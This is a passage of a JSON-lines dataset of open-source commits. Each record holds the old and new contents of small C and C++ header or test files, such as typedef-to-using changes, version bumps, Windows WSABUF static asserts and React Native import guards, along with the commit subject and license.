\"CrcSpongeBuilder.h\"\n#include \"Constants.h\"\n\nnamespace Draupnir {\n\n \/\/ utility typedefs\n typedef CrcSponge CrcSponge64;\n typedef CrcSponge CrcSponge32;\n typedef CrcSponge CrcSponge16;\n typedef CrcSponge CrcSponge8;\n\n typedef CrcSpongeBuilder CrcSponge64Builder;\n typedef CrcSpongeBuilder CrcSponge32Builder;\n typedef CrcSpongeBuilder CrcSponge16Builder;\n typedef CrcSpongeBuilder CrcSponge8Builder;\n\n}\n\n#endif \/* DRAUPNIR_H__ *\/\n\n","new_contents":"#ifndef DRAUPNIR_H__\n#define DRAUPNIR_H__\n\n#include \n\n#include \"Sponge.h\"\n#include \"CrcSponge.h\"\n#include \"CrcSpongeBuilder.h\"\n#include \"Constants.h\"\n\nnamespace Draupnir {\n\n \/\/ utility typedefs\n using CrcSponge64 = CrcSponge;\n using CrcSponge32 = CrcSponge;\n using CrcSponge16 = CrcSponge;\n using CrcSponge8 = CrcSponge;\n\n using CrcSponge64Builder = CrcSpongeBuilder;\n using CrcSponge32Builder = CrcSpongeBuilder;\n using CrcSponge16Builder = CrcSpongeBuilder;\n using CrcSponge8Builder = CrcSpongeBuilder;\n\n}\n\n#endif \/* DRAUPNIR_H__ *\/\n\n","subject":"Use using instead of typedef","message":"Use using instead of typedef\n","lang":"C","license":"agpl-3.0","repos":"mariano-perez-rodriguez\/draupnir"} {"commit":"212e2ca79c73f0997e06a351f63691d3f2976c15","old_file":"tests\/regression\/10-synch\/24-tid-partitioned-array-global.c","new_file":"tests\/regression\/10-synch\/24-tid-partitioned-array-global.c","old_contents":"\/\/ PARAM: --enable exp.partition-arrays.enabled\n#include \n\npthread_t t_ids[10000];\n\nvoid *t_fun(void *arg) {\n return NULL;\n}\n\nint main(void) {\n for (int i = 0; i < 10000; i++)\n pthread_create(&t_ids[i], NULL, t_fun, NULL);\n for (int i = 0; i < 10000; i++)\n pthread_join (t_ids[i], NULL);\n return 0;\n}","new_contents":"\/\/ PARAM: --set ana.activated[+] thread --enable exp.partition-arrays.enabled\n#include \n\npthread_t t_ids[10000];\n\nvoid *t_fun(void *arg) {\n return NULL;\n}\n\nint main(void) {\n for (int i = 0; i < 10000; i++)\n pthread_create(&t_ids[i], NULL, t_fun, NULL);\n for (int i = 0; i < 10000; i++)\n pthread_join (t_ids[i], NULL);\n return 0;\n}","subject":"Fix missing thread analysis in 10\/24","message":"Fix missing thread analysis in 10\/24\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"23f2dfdefaab0c052c7c1695e53331a7992df5b9","old_file":"include-fixer\/find-all-symbols\/STLPostfixHeaderMap.h","new_file":"include-fixer\/find-all-symbols\/STLPostfixHeaderMap.h","old_contents":"\/\/===-- STLPostfixHeaderMap.h - hardcoded header map for STL ----*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n#define LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n\n#include \n\nnamespace clang {\nnamespace find_all_symbols {\n\nconst HeaderMapCollector::HeaderMap* getSTLPostfixHeaderMap();\n\n} \/\/ namespace find_all_symbols\n} \/\/ namespace clang\n\n#endif \/\/ LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n","new_contents":"\/\/===-- STLPostfixHeaderMap.h - hardcoded header map for STL ----*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n#define LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n\n#include \"HeaderMapCollector.h\"\n\nnamespace clang {\nnamespace find_all_symbols {\n\nconst HeaderMapCollector::HeaderMap* getSTLPostfixHeaderMap();\n\n} \/\/ namespace find_all_symbols\n} \/\/ namespace clang\n\n#endif \/\/ LLVM_CLANG_TOOLS_EXTRA_FIND_ALL_SYMBOLS_TOOL_STL_POSTFIX_HEADER_MAP_H\n","subject":"Include local header with quotes instead of angle brackets.","message":"Include local header with quotes instead of angle brackets.\n\nThis works by accident because we pass '-I.'\n\ngit-svn-id: a34e9779ed74578ad5922b3306b3d80a0c825546@270701 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra"} {"commit":"1ca440467863ff2daa0234b36401706872391e6a","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR 0\n#define CLIENT_VERSION_MINOR 9\n#define CLIENT_VERSION_REVISION 0\n#define CLIENT_VERSION_BUILD 0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR 0\n#define CLIENT_VERSION_MINOR 9\n#define CLIENT_VERSION_REVISION 1\n#define CLIENT_VERSION_BUILD 0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Bump version for openssl security updates","message":"Bump version for openssl security updates\n","lang":"C","license":"mit","repos":"CatcoinOfficial\/CatcoinRelease,CatcoinOfficial\/CatcoinRelease,CatcoinOfficial\/CatcoinRelease,CatcoinOfficial\/CatcoinRelease,CatcoinOfficial\/CatcoinRelease"} {"commit":"fd8eb7ac0ac791c4a5acba5bc51a817b330dd5bb","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR 2\n#define CLIENT_VERSION_MINOR 2\n#define CLIENT_VERSION_REVISION 0\n#define CLIENT_VERSION_BUILD 9\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR 2\n#define CLIENT_VERSION_MINOR 2\n#define CLIENT_VERSION_REVISION 0\n#define CLIENT_VERSION_BUILD 10\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Bump client version to 2.2.0.10","message":"Bump client version to 2.2.0.10\n\n","lang":"C","license":"mit","repos":"spectrecoin\/spectre,spectrecoin\/spectre,spectrecoin\/spectre,spectrecoin\/spectre,spectrecoin\/spectre,spectrecoin\/spectre"} {"commit":"724948b4d891a91e2912497c1a3e544543b501b1","old_file":"src\/mongoc\/mongoc-iovec.h","new_file":"src\/mongoc\/mongoc-iovec.h","old_contents":"\/*\n * Copyright 2014 MongoDB, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#ifndef MONGOC_IOVEC_H\n#define MONGOC_IOVEC_H\n\n\n#include \n\n#ifndef _WIN32\n# include \n#endif\n\n\nBSON_BEGIN_DECLS\n\n\n#ifdef _WIN32\ntypedef struct\n{\n u_long iov_len;\n char *iov_base;\n} mongoc_iovec_t;\n#else\ntypedef struct iovec mongoc_iovec_t;\n#endif\n\n\nBSON_END_DECLS\n\n\n#endif \/* MONGOC_IOVEC_H *\/\n","new_contents":"\/*\n * Copyright 2014 MongoDB, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#ifndef MONGOC_IOVEC_H\n#define MONGOC_IOVEC_H\n\n\n#include \n\n#ifdef _WIN32\n# include \n#else\n# include \n#endif\n\nBSON_BEGIN_DECLS\n\n\n#ifdef _WIN32\ntypedef struct\n{\n u_long iov_len;\n char *iov_base;\n} mongoc_iovec_t;\n\nBSON_STATIC_ASSERT(sizeof(mongoc_iovec_t) == sizeof(WSABUF));\nBSON_STATIC_ASSERT(offsetof(mongoc_iovec_t, iov_base) == offsetof(WSABUF, buf));\nBSON_STATIC_ASSERT(offsetof(mongoc_iovec_t, iov_len) == offsetof(WSABUF, len));\n\n#else\ntypedef struct iovec mongoc_iovec_t;\n#endif\n\n\nBSON_END_DECLS\n\n\n#endif \/* MONGOC_IOVEC_H *\/\n","subject":"Make sure our iovec abstraction is compatible with Windows WSABUF","message":"CDRIVER-756: Make sure our iovec abstraction is compatible with Windows WSABUF\n\nWe cast mongoc_iovec_t to LPWSABUF in our sendmsg() wrapper\n","lang":"C","license":"apache-2.0","repos":"ajdavis\/mongo-c-driver,rcsanchez97\/mongo-c-driver,acmorrow\/mongo-c-driver,ajdavis\/mongo-c-driver,rcsanchez97\/mongo-c-driver,derickr\/mongo-c-driver,christopherjwang\/mongo-c-driver,christopherjwang\/mongo-c-driver,jmikola\/mongo-c-driver,derickr\/mongo-c-driver,jmikola\/mongo-c-driver,acmorrow\/mongo-c-driver,beingmeta\/mongo-c-driver,derickr\/mongo-c-driver,remicollet\/mongo-c-driver,malexzx\/mongo-c-driver,mongodb\/mongo-c-driver,rcsanchez97\/mongo-c-driver,derickr\/mongo-c-driver,mschoenlaub\/mongo-c-driver,ksuarz\/mongo-c-driver,remicollet\/mongo-c-driver,remicollet\/mongo-c-driver,jmikola\/mongo-c-driver,ac000\/mongo-c-driver,acmorrow\/mongo-c-driver,ksuarz\/mongo-c-driver,rcsanchez97\/mongo-c-driver,derickr\/mongo-c-driver,acmorrow\/mongo-c-driver,ajdavis\/mongo-c-driver,ac000\/mongo-c-driver,bjori\/mongo-c-driver,beingmeta\/mongo-c-driver,ajdavis\/mongo-c-driver,bjori\/mongo-c-driver,beingmeta\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,ajdavis\/mongo-c-driver,beingmeta\/mongo-c-driver,acmorrow\/mongo-c-driver,rcsanchez97\/mongo-c-driver,jmikola\/mongo-c-driver,Machyne\/mongo-c-driver,bjori\/mongo-c-driver,remicollet\/mongo-c-driver,Machyne\/mongo-c-driver,malexzx\/mongo-c-driver,beingmeta\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,rcsanchez97\/mongo-c-driver,u2yg\/mongo-c-driver,mongodb\/mongo-c-driver,bjori\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,remicollet\/mongo-c-driver,mongodb\/mongo-c-driver,ajdavis\/mongo-c-driver,ksuarz\/mongo-c-driver,ksuarz\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,beingmeta\/mongo-c-driver,mschoenlaub\/mongo-c-driver,bjori\/mongo-c-driver,christopherjwang\/mongo-c-driver,u2yg\/mongo-c-driver,mschoenlaub\/mongo-c-driver,jmikola\/mongo-c-driver,Machyne\/mongo-c-driver,derickr\/mongo-c-driver,remicollet\/mongo-c-driver,u2yg\/mongo-c-driver,mongodb\/mongo-c-driver,mongodb\/mongo-c-driver,acmorrow\/mongo-c-driver,rcsanchez97\/mongo-c-driver,bjori\/mongo-c-driver,ac000\/mongo-c-driver,derickr\/mongo-c-driver,u2yg\/mongo-c-driver,mongodb\/mongo-c-driver,malexzx\/mongo-c-driver,bjori\/mongo-c-driver,mschoenlaub\/mongo-c-driver,malexzx\/mongo-c-driver,Convey-Compliance\/mongo-c-driver,remicollet\/mongo-c-driver,ajdavis\/mongo-c-driver,jmikola\/mongo-c-driver,beingmeta\/mongo-c-driver,Machyne\/mongo-c-driver,acmorrow\/mongo-c-driver,mongodb\/mongo-c-driver,beingmeta\/mongo-c-driver,christopherjwang\/mongo-c-driver,jmikola\/mongo-c-driver"} {"commit":"f639faedd1daf285559fea44fc00190a668cec32","old_file":"src2\/BeaconMapper.h","new_file":"src2\/BeaconMapper.h","old_contents":"\/\/\n\/\/ Created by Scott Stark on 6\/12\/15.\n\/\/\n\n#ifndef NATIVESCANNER_BEACONMAPPER_H\n#define NATIVESCANNER_BEACONMAPPER_H\n\n#include \n#include \n\nusing namespace std;\n\n\/**\n * Map a beacon id to the registered user by querying the application registration rest api\n *\/\nclass BeaconMapper {\nprivate:\n map beaconToUser;\n\npublic:\n \/**\n * Query the current user registrations to update the beacon minorID to name mappings\n *\/\n void refresh();\n\n string lookupUser(int minorID);\n};\n\n\n#endif \/\/NATIVESCANNER_BEACONMAPPER_H\n","new_contents":"\/\/\n\/\/ Created by Scott Stark on 6\/12\/15.\n\/\/\n\n#ifndef NATIVESCANNER_BEACONMAPPER_H\n#define NATIVESCANNER_BEACONMAPPER_H\n\n#include \n#include \n\nusing namespace std;\n\n\/**\n * Map a beacon id to the registered user by querying the application registration rest api\n *\n * Relies on:\n * git clone https:\/\/github.com\/open-source-parsers\/jsoncpp.git\n * cd jsoncpp\/\n * mkdir build\n * cd build\/\n * cmake -DCMAKE_BUILD_TYPE=debug -DBUILD_STATIC_LIBS=ON ..\n * make\n * make install\n *\n * git clone https:\/\/github.com\/mrtazz\/restclient-cpp.git\n * apt-get install autoconf\n * apt-get install libtool\n * apt-get install libcurl4-openssl-dev\n * cd restclient-cpp\/\n * .\/autogen.sh\n * .\/configure\n * make\n * make install\n *\/\nclass BeaconMapper {\nprivate:\n map beaconToUser;\n\npublic:\n \/**\n * Query the current user registrations to update the beacon minorID to name mappings\n *\/\n void refresh();\n\n string lookupUser(int minorID);\n};\n\n\n#endif \/\/NATIVESCANNER_BEACONMAPPER_H\n","subject":"Document full requirements for the beacon mapper","message":"Document full requirements for the beacon mapper\n","lang":"C","license":"apache-2.0","repos":"starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser,starksm64\/NativeRaspberryPiBeaconParser"} {"commit":"a93d837aae8610045a7883ee60017d71917aa6a4","old_file":"test\/unit\/event_fixture.h","new_file":"test\/unit\/event_fixture.h","old_contents":"","new_contents":"#ifndef VAST_TEST_UNIT_EVENT_FIXTURE_H\n#define VAST_TEST_UNIT_EVENT_FIXTURE_H\n\n#include \n#include \"vast\/event.h\"\n\nstruct event_fixture\n{\n event_fixture();\n std::vector events;\n};\n\n#endif\n","subject":"Add missing event fixture file.","message":"Add missing event fixture file.\n","lang":"C","license":"bsd-3-clause","repos":"vast-io\/vast,pmos69\/vast,pmos69\/vast,mavam\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,vast-io\/vast,mavam\/vast,vast-io\/vast,pmos69\/vast,mavam\/vast,pmos69\/vast"} {"commit":"69ec185fd5de8c133808a5aeec5b0435a3d2025e","old_file":"RNSketch\/RNSketchManager.h","new_file":"RNSketch\/RNSketchManager.h","old_contents":"\/\/\n\/\/ RNSketchManager.m\n\/\/ RNSketch\n\/\/\n\/\/ Created by Jeremy Grancher on 28\/04\/2016.\n\/\/ Copyright © 2016 Jeremy Grancher. All rights reserved.\n\/\/\n\n#import \"RCTViewManager.h\"\n#import \"RNSketch.h\"\n\n@interface RNSketchManager : RCTViewManager\n\n@property (strong) RNSketch *sketchView;\n\n@end;\n","new_contents":"\/\/\n\/\/ RNSketchManager.m\n\/\/ RNSketch\n\/\/\n\/\/ Created by Jeremy Grancher on 28\/04\/2016.\n\/\/ Copyright © 2016 Jeremy Grancher. All rights reserved.\n\/\/\n\n#if __has_include()\n\/\/ React Native >= 0.40\n#import \n#else\n\/\/ React Native <= 0.39\n#import \"RCTViewManager.h\"\n#endif\n#import \"RNSketch.h\"\n\n@interface RNSketchManager : RCTViewManager\n\n@property (strong) RNSketch *sketchView;\n\n@end;\n","subject":"Support RN 0.40 headers while retaining backwards compatibility.","message":"Support RN 0.40 headers while retaining backwards compatibility.\n\nUse #if to conditionally import React headers.","lang":"C","license":"mit","repos":"jgrancher\/react-native-sketch"}